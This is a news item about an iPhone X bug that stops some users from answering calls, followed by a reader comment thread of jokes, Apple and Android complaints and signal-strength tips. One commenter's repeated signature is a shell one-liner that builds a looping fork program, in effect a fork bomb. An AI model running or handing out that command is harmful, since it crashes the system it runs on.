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iPhone X Bug Leaves Some Users Unable To Answer Calls (betanews.com)

Mark Wilson writes: A number of iPhone X users are complaining about a bug that leaves them unable to answer incoming calls. Reports of the bug are spreading through Apple's support forums, and the company says it is looking into the problem. People who are experiencing the bug say that when they receive a call, their iPhone X rings, but the screen does not wake up. While the problem has been around for a couple of months, complaints seem to be growing in number at the moment.

65 comments

  1. Not a bug - a feature by xxxJonBoyxxx · · Score: 4, Funny

    >> a bug that leaves them unable to answer incoming calls

    Can I get this ported to my Android phone please? 85% of my inbound calls are from spammers looking for truck drivers. (Thanks, someone who once used my number in a form somewhere.)

    1. Re:Not a bug - a feature by Anonymous Coward · · Score: 0

      Actually the feature for me is I don't have to talk to pretentious people who are in love with Apple. A definite feature.

    2. Re: Not a bug - a feature by Anonymous Coward · · Score: 1

      There's apps in the store that blacklist numbers (if it's not already part of the os like Samsung)... Or reject all calls except those in your contact list

    3. Re:Not a bug - a feature by Anonymous Coward · · Score: 0

      what's your phone number again?

  2. commentsubject by Falos · · Score: 1

    Who needs buttons, all I/O can be performed by touch screen digitizers, we'll do anything to claim the phone has a 20-inch* screen

    *diagonal**
    **through all three*** spatial axes
    ***actually through a significant 4th one because the measurement we'll use on the CES posterboard (and consequently tech articles from journalists who held it for 30 seconds) will be made near the edge of a gravitational singularity

  3. You're holding it wrong. by Anonymous Coward · · Score: 0

    You're a disappointment to your both Steve Jobs and parents, Mark Wilson.

    1. Re:You're holding it wrong. by Anonymous Coward · · Score: 0

      You're a disappointment to your grammar AC

    2. Re:You're holding it wrong. by Anonymous Coward · · Score: 0

      But grammpa liked AC.

    3. Re: You're holding it wrong. by Thundercat007 · · Score: 1

      It's just slang, Grandpas don't know that hip jive talk these days.

  4. Meh by burtosis · · Score: 3, Insightful

    I think phones have been on a steady decay of actual performance as a phone ever since they stopped using sensible antennas. Not to worry, I'm sure those people were just answering it wrong...

    1. Re:Meh by Hal_Porter · · Score: 1

      True actually. I noticed a bad drop off in RF performance when I moved from my Nokia 3410 to my first smartphone.

      --
      echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
    2. Re:Meh by sremick · · Score: 2

      Seriously. I miss the days when an external antenna connector was standard. I loved plugging in my +7db gain antenna mounted on my car and going from 1 bar to 5. It was often the difference between being able to use the phone and not.

      Considering there's still several 30-60 min driving stretches around where I live where there's virtually no cell reception, and such things would be still quite useful in 2018. Probably going to need to invest in a re-radiating booster but that's not as efficient, elegant or inexpensive. And it's not going to get any better as we push towards cell technologies that use higher frequencies without the range or penetration as what we have now (let alone 15y ago) and require even MORE towers when issues prevent enough towers going up for even ubiquitous 2G coverage.

    3. Re:Meh by burtosis · · Score: 2
      You probably have already but this tip:

      Open up the Phone app and dial in *3001#12345#* , then hit Call . Field Test Mode will open up immediately and you'll see the signal strength in dBm in the upper left corner of the screen. Tapping the number (or baubles) will toggle between dBm and little baubles

      Is pure gold on iPhones because when you have a real signal strength reading you have a much better idea of how well your phone is receiving and where dead spots are.

  5. oh, so you want to take calls on your 'phone'? by Anonymous Coward · · Score: 0

    then get a damn PHONE, like a 'feature phone' (that 'features', you guessed it, a telephone, first and foremost.. that always works), not a (thousand dollar) 'handheld computer with radio chips and a telephone app' where basic functions and their working status are left to the whim of the developers and constant software updates the device apparently needs because they (all 'smart phone' makers) ship broken products.

    1. Re:oh, so you want to take calls on your 'phone'? by TWX · · Score: 2

      Probably because the features that a handheld computer with 24/7 radio communications to the Internet offers is a total paradigm-shift over using something roughly the same size for simple voice communications.

      Mind you, it's a pretty miserable failure for the device, first and foremost thought of as a phone, to fail to function as a phone.

      --
      Do not look into laser with remaining eye.
    2. Re:oh, so you want to take calls on your 'phone'? by sysrammer · · Score: 1

      Ditto. Also, I notice a preference for people nowadays to *not* use phones as a phone.

      --
      His ignorance covered the whole earth like a blanket, and there was hardly a hole in it anywhere. - Mark Twain
  6. Re:fuuuuck by Anonymous Coward · · Score: 0

    Except that AAPL is up today.

  7. Not only on X by Anonymous Coward · · Score: 0

    Since iOS 10 any iPhone when receding a call would sometimes wake up with the touch sensors disabled. If you have headphones with a button plugged in you can pick up, if not you have no option but to press the power button and send them to voice mail

  8. I have a similar problem with iPhone 6S by ReneR · · Score: 1

    sometimes my iPhone 6s does neither ring, nor show a call, I only know I have a missed call when my provider sends me the voice mail memo, ... :-/ 2018 - when even phone calls do not work reliable anymore, #peakbugs :-/

    1. Re:I have a similar problem with iPhone 6S by burtosis · · Score: 1

      Probably not any help but I had the same issue occasionally on my 6s but it stopped when I switched carriers so I assumed it was a SIM card or carrier issue.

  9. It just works by Anonymous Coward · · Score: 0

    My android phone, that is. It just works.

  10. Re:fuuuuck by TWX · · Score: 3, Funny

    Buying stock with loans? That's a bold strategy Cotton, let's see if it pays off for him.

    --
    Do not look into laser with remaining eye.
  11. Touching it wrong by Anonymous Coward · · Score: 1

    The iPhoneX needs to be touched in its special place to respond. Not all fanbois have ever touched a phone like that.

    1. Re:Touching it wrong by Anonymous Coward · · Score: 0

      Are you kidding me? The fanbois have touched it like that all along.

  12. Apple's software quality has been bad for a while by postmortem · · Score: 1

    What's going on, how come that one of world's biggest companies can still afford to produce such buggy software? It is not like they cannot afford enough software testers.
    I don't think that they don't care either, maybe don't care enough anymore after somebody who really cared has died..

  13. Is the phone function now secondary? by QuietLagoon · · Score: 3, Insightful

    Has the phone function of smartphones been relegated to a secondary tier of performance and quality? I mean, who releases a phone that doesn't do phone calls? Really.

    1. Re:Is the phone function now secondary? by Anonymous Coward · · Score: 0

      Phone is an app. So, yes.

    2. Re:Is the phone function now secondary? by geek · · Score: 1

      I used 30 GB of data last month. I used 12 minutes of call time.

    3. Re:Is the phone function now secondary? by mjwx · · Score: 1

      Has the phone function of smartphones been relegated to a secondary tier of performance and quality? I mean, who releases a phone that doesn't do phone calls? Really.

      None of my smartphones has every had an issue making or answering calls. But I've been on Android the whole time. Even when I was experimenting with custom ROMs the phone function was always rock solid. The problem here is with the sub standard design, not the relevance of the function.

      However I hardly ever use the phone function any more. Its mainly for data on the move where I might occasionally need to make or take a call. I use it more for navigation than voice communications.

      --
      Calling someone a "hater" only means you can not rationally rebut their argument.
  14. Re:fuuuuck by Hal_Porter · · Score: 2

    My BTC holdings are now below where they were purchased, and frankly I can't pay back the loan I used if this doesn't turn around.

    Buy on the dip dude. Remortgage your house and buy more! Don't miss out on the coming historic gains.

    Leading Internet economists believe the tulip market cap will hit $2 brazillion by 2020.

    --
    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  15. Re:Apple's software quality has been bad for a whi by Anonymous Coward · · Score: 0

    Hmm. I can't seem to reproduce this bug on my iPhone X (latest iOS as well). Perhaps it's a weird edge case or perhaps it's end-user related. As far as bugs go, I switched from Android (Samsung) to Apple last year starting with the iPhone SE and iOS 11. Never encountered a bug, never had slowness or other weirdness. Shit just works and it works great.

    Now my S7 Edge slowed down after the first update. The second update I got broke the OS and resulted in a boot loop which took me reloading the fucking OS through Odin. Each subsequent update killed the battery life as well. At one point I had a system process responsible for consuming like 40% of the battery. Shit was laggy and Samsung tossed out a bad update or two as well.

    I've ran various phones (Motorola, HTC, etc) with the old Cyanogenmod. Guess what happened with subsequent updates? Yup, slowness and battery performance issues. Bugs. Sometimes parts of Cyanogenmod wouldn't work because of proprietary drivers. It just got annoying and eventually I no longer really needed the features offered by a third party firmware.

    My point isn't to bash Android, but just to point out that it's not just Apple (TM) having "issues" and these "issues" seem to be very situational. Maybe I've been lucky, but on Reddit and on RL I haven't found anyone who can directly confirm they've had issues.

  16. Re:Apple's software quality has been bad for a whi by Hal_Porter · · Score: 1

    Apple needs a control freak boss in charge to shout at people during the production of its gizmos. Once Jobs died they couldn't find someone to make it all work, so it's all becoming sloppy.

    It's like Microsoft started to go down the tubes once Bill Gates stepped down.

    --
    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  17. minor bug at most by shadowrat · · Score: 1

    It's not like these things are really used for phone calls.

    1. Re:minor bug at most by Anonymous Coward · · Score: 0

      Yes this really is a very minor bug for the iPHONE.

    2. Re:minor bug at most by Anonymous Coward · · Score: 0

      Just imaging the screams if iphone stopped accessing facebook!

  18. Answering calls? Oh, it's so quaint.... by 140Mandak262Jamuna · · Score: 1
    I don't know why old people who actually speak into the phone bother buying smartphones. It is not meant for them. They should probably stick to a Nokia candybar, they really like fancy four pips for battery and four pips for signal strength on a black and white non backlit LCD screen. That's about the amount of info they can absorb from a screen, any screen.

    This iPhone is for the cool kids, who use it to be in touch using many ways of communicating. Even when they want to speak they would rather speak into a whatsapp voicemail app. The idea that you need to speak out a reply because there is a person on the other end, monitoring you in real time hearing you speak and is waiting to respond as soon as you finish talking is unnerving to the younger generation. Asynchronous communication, send out a message, even a multimedia message containing your voice, and give the other side enough time for think, look at a cat video, organize the thoughts, check the twitter feed, formulate a response, check the facebook page, type out/speak out a response, check snapchat, and send a reply, that is the way to do it. In the mean time, instead of monitoring the other guy in real time, you get to check your twitter, snapchat, facebook feeds and look up amazon order status too.

    The bug reports are sporadic mainly because very few youngsters actually call each other to talk in real time.

    --
    sed -e 's/Chuck Norris/Rajnikant/g' joke > fact
    1. Re:Answering calls? Oh, it's so quaint.... by sysrammer · · Score: 1

      +1 funny informative/insightful.

      --
      His ignorance covered the whole earth like a blanket, and there was hardly a hole in it anywhere. - Mark Twain
    2. Re: Answering calls? Oh, it's so quaint.... by Brockmire · · Score: 1

      Pips? Where the fuck are you from? They're called bars.

  19. What do you expect... by Anonymous Coward · · Score: 0

    ...when you pay north of $1000 for a phone? Idiots.

  20. I have a different problem by Cro+Magnon · · Score: 1

    Sometimes I've gotten a phone call, and that bar that says "Slide to unlock" doesn't work. I can still answer calls on my iPad or iWatch, but it's definitely a glitch.

    --
    Slow down, cowboy! It has been 4 hours since you last posted. You must wait another few hours.
  21. Same on 6S, just due to slowdown by Anonymous Coward · · Score: 0

    my battery is a year old, yet it takes SO LONG to launch apps, by the time the phone app actually gets to the foreground, the call has gone to voice mail. I hear the rings, it's ringing the whole time, but there's no way to ANSWER it because the phone app takes so darn'd long to launch! why apple? why do you spite me?

  22. Re:fuuuuck by Anonymous Coward · · Score: 0

    Shit... I bought thousands of penny stocks a few years ago and they're at $15/share now. What am I going to do with all this money?

  23. Not Mine by Anonymous Coward · · Score: 0

    I am not saying this to discount anyone who has had this issue but I have not experienced it, and I have had it since launch. That makes me think one of two things:

    1) It is a hardware failure which effects a small number of phones. So sucks if you got one of them, but the rest of us are okay.

    2) It is a software issue, that should be fixed if you use the latest version of iOS. Apple has rolled out several updates since iOS 11 launched. It is now on 11.2.5.

    I lean towards it being number #1 since Apple badgers you to update whenever they release a new version.

  24. "Calls?" by R3d+M3rcury · · Score: 1

    You mean, like a voice call? Like somebody punched in my phone number?

    How quaint!

  25. ok lets see, (informative) by Anonymous Coward · · Score: 0

    So,, talking about tech and features..
    I have heard this feature has surfaced since the 2nd Gen Android devices..Why cant any one figure it out??
    Apples :Bitchy ass, elitist, head far up ass, exclusionary, funk-a-dellic, and flawed attitudes are actually catching up with themselves.. There is a point where you cant fuck with people any more. Think about it does Apple have real Tech that sets it self apart from the crowd? NO. Everything Apple produces relies on other tech to support it. Example: Ifone A mix of "Intel, qualcom, arm, bsd, the infrastructure to support it (wifi or cell) and the power company." The Apple compute products: Intel, Amd, the flavor of the day (hdd/ssd), bsd, 3rd party software, requiring an infrastructure for support of (windows, linux, unix, bsd, cloud.) Apple's real (or perceived real) offering was Siri, and we all saw how well that worked out.. (even that was not As apple as you would think, [hp, iofusion, bsd, linux, windows, and Hynix])
    The point is, Apple is by definition a parasite. Back in the day when Apple actually invested in custom software, operating systems, Xserv, etc. Things were actually exciting, "040-boards, etc." It was easy to distinguish, who was what, where and when, and where the responsibility lies for support, and when things got messed up how to enforce the liability..
    Apple, your "fancy" box is unraveling from the inside-out.
    You re-hashed products are just that, loosing of their lustre from days past..
    I mean look at their competitors like intel, Microsoft, linux, qualcomm, Android, google, the industry, anything else that is NOT apple.. With out these or a combo of these things Apple Products CANNOT OPERATE.
    Most if not ALL can survive on their own, their own hardware, their own software, their own implementation. They all have their own Eco-systems, some better than others, but at the end of the day all "turn-key"

  26. Re: I love sex! by Hetero · · Score: 0

    Post more. I want to hear the part about Han crushing and snorting Force Crystals and joining in on the fun after Yoda/Luke.

  27. Get off my lawn by Curunir_wolf · · Score: 1

    The only good phone is a land line, and the phone should be made out of Bakelite!

    --
    "Somebody has to do something. It's just incredibly pathetic it has to be us."
    --- Jerry Garcia
  28. Re:Apple's software quality has been bad for a whi by ThomasBHardy · · Score: 1

    Our phones and tablets are all Apple. I'm not a raging fanboi, but I prefer the vastly larger base of apps that Apple has to offer. We've been generally happy with them outside of some performance issues which we now know were batterygate. I like being able to treat my phone like an appliance and not be thinking about it much since Apple does a seemingly better job of keeping out the abusive apps than Android has.

    That said, there's a definite feel of decay going on. For the first time, I no longer am willing to apply Apple updates until after they are in the wind for a good while. The latest IOS has a number of what I feel are poor decisions.

    I would find it difficult to believe that Jobs would have allowed the iPhone X's indented top of screen.
    I disapprove of the "we'll just turn your buletooth back on when we feel like it" feature.
    Apple maps is still significantly inferior to Google maps.
    High contrast/vision impaired features are poor
    I get momentary lockups/pauses where it's unresponsive, particularly when a call comes in.
    iTunes on windows is a masterpiece of bloat and slowness.

    I'm not saying that Jobs was a saint or anything, but I think that if he was around and ran into these or any of dozens of other oddities, he'd have gone straight to the source and when he was done it would be fixed.

    My confidence continues to dwindle under Cook. He may be a fine CEO, but he's not running the product focused shop that made Apple what it is/was.

    We just got new 8s. When these are at the end of their lifecycle, unless things have turned around at Apple, we may be getting Androids next. It'll hurt to cut the cord on the many existing apps we have, but I need to get a sense of focus on quality from them to keep my business.

    --
    Warning: Teh poster of this messaeg is lysdexic
  29. holding it wrong by Anonymous Coward · · Score: 0

    Obviously, they are holding it wrong.

  30. They should all just buy an apple watch by edtice1559 · · Score: 1

    Then they would have no problem answering the call. They wouldn't even have to pick the phone up. Maybe there will be a class action and the affected users will all get 10% off their iWatch.

    1. Re:They should all just buy an apple watch by organgtool · · Score: 1

      That sounds like a response generated by Oracle. Nothing is ever their fault, it's always your fault for not buying supplemental products and services to do what you expected the original products to do.

    2. Re:They should all just buy an apple watch by edtice1559 · · Score: 1

      I guess I need an explicit [/sarcasm] tag!

    3. Re:They should all just buy an apple watch by organgtool · · Score: 1

      I caught the sarcasm - I was just noting that your sarcasm is Oracle's actual business strategy.

  31. Not the only problem by Anonymous Coward · · Score: 0

    I have a recurring problem with two iPhones (one personal, one work) where the phone doesn't seem to know that you're swiping the screen to answer the call. Swipe fast, swipe slow, dry finger, wet finger. Swipe - swipe - swipe - swipe - swipe - swipe... phone just keeps ringing.

  32. Re:Apple's software quality has been bad for a whi by Hal_Porter · · Score: 1

    I would find it difficult to believe that Jobs would have allowed the iPhone X's indented top of screen.

    Funnily enough it recently occured to me the LG V20's always on dual screen is a much better way of dealing with the problem of needing a cutout for the cameras.

    https://www.youtube.com/watch?...

    Of course the V20 was mostly ignored by the idiot tech journalists who raved over the iPhone X. Shame really, it's a great phone, if you can still find one.

    --
    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  33. Apple's next commercial by Anonymous Coward · · Score: 0

    What's a phone?

  34. Talking on a phone takes attention away from... by Anonymous Coward · · Score: 0

    ...the real purpose of a phone as envisioned by the Apple and the other phone makers. They can't sell ads on phone calls -- yet.

  35. What's funny by Anonymous Coward · · Score: 0

    Is that the hard part of receiving the call and sounding off is done, why is it so hard to wake the screen or SLIDE TO ANSWER?
    This has been an issue for Apple since the 3GS

  36. But, but... by MerlTurkin · · Score: 1

    ...it just works!

  37. Re:Apple's software quality has been bad for a whi by Anonymous Coward · · Score: 0

    I've been on Android since I switched from my old 'brick' ATT Nokia with the 'stub' antenna. (It once slipped out of my top pocket while I was leaning over an open skylight hole, and I watched it tumble end over end 30' to a cement floor. I expected it to shatter into a hundred pieces, instead it landed perfectly on the tip of the stub antenna, skittered along the floor for several feet, and it worked fine, just a had a slightly 'squished' stub antenna, Tough phone, worked for days on a charge, calls always came through, even in remote areas of Maine.

    I've gotten voicemail notiifications after my phone didn't ring. It happens. Back in the day when cell phones were new Howard Stern used to bitch when people called in to his radio show with cellphone signals that dropped in and out. Back then landlines were still the main way of calling people, and they just worked. They were reliable. Now copper lines are going the way of the dinosaur, pay phones mostly are all gone.

    I've stayed Android because everything's basically free, and I'm a cheap guy. I don't care about OS wars between Apple and Android, though I have always noticed an 'elitist' attitude with Apple users. Apple has cool, expensive product, the thing is once you buy into an Apple device, it leads you to wanting/needing Apple dongles, Apple Music, Apple watch, coming soon Apple's Alexa type device. And none of it's free.

    I know, Android's a product of the NSA, I'm the product and my life is tracked. Apple and Android all share info with govt./law enforcement, that's a given whether admitted or not.

  38. Re: Apple's software quality has been bad for a wh by Anonymous Coward · · Score: 0

    Just got a hand me down year old s7 edge. Never had the phone run out of power yet, and i still play pokemon go (notorious for killing battery).

    Sucks to have a bad unit, any platform...though a lot of people seem to associate one offs with the whole platform.

    I guess the Halo effect is finally wearing off for some

  39. Appreciation by Anonymous Coward · · Score: 0

    This article is so innovative and well constructed I got plenty of information from this post. Keep writing related to the topics on your site.When we run apps related to messaging Like Whatsapp,hike, imessage ,etc. my iphone generate problems like bugs but with the help of this article i'll be able to solve it.